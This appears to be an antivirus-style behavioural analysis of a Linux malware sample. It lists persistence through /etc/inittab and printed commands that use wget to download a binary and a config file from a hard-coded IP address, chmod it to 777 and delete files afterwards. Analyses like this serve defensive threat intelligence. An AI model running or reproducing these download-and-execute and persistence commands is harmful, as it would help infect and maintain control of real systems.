Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /etc/inittab
Malicious functions:
Manages services:
- init q
Launches processes:
- rm -rf /tmp/config.json
- rm -rf /tmp/xmz
- sh -c cd /tmp; wget http://185.222.202.68/xmz; chmod 777 /tmp/xmz
- wget http://185.222.202.68/xmz
- chmod 777 /tmp/xmz
- sh -c cd /tmp; wget http://185.222.202.68/config.json
- wget http://185.222.202.68/config.json
- init q
Performs operations with the file system:
Deletes files:
- /tmp/config.json
- /tmp/xmz
Network activity:
Establishes connection:
- 18#.##2.202.68:80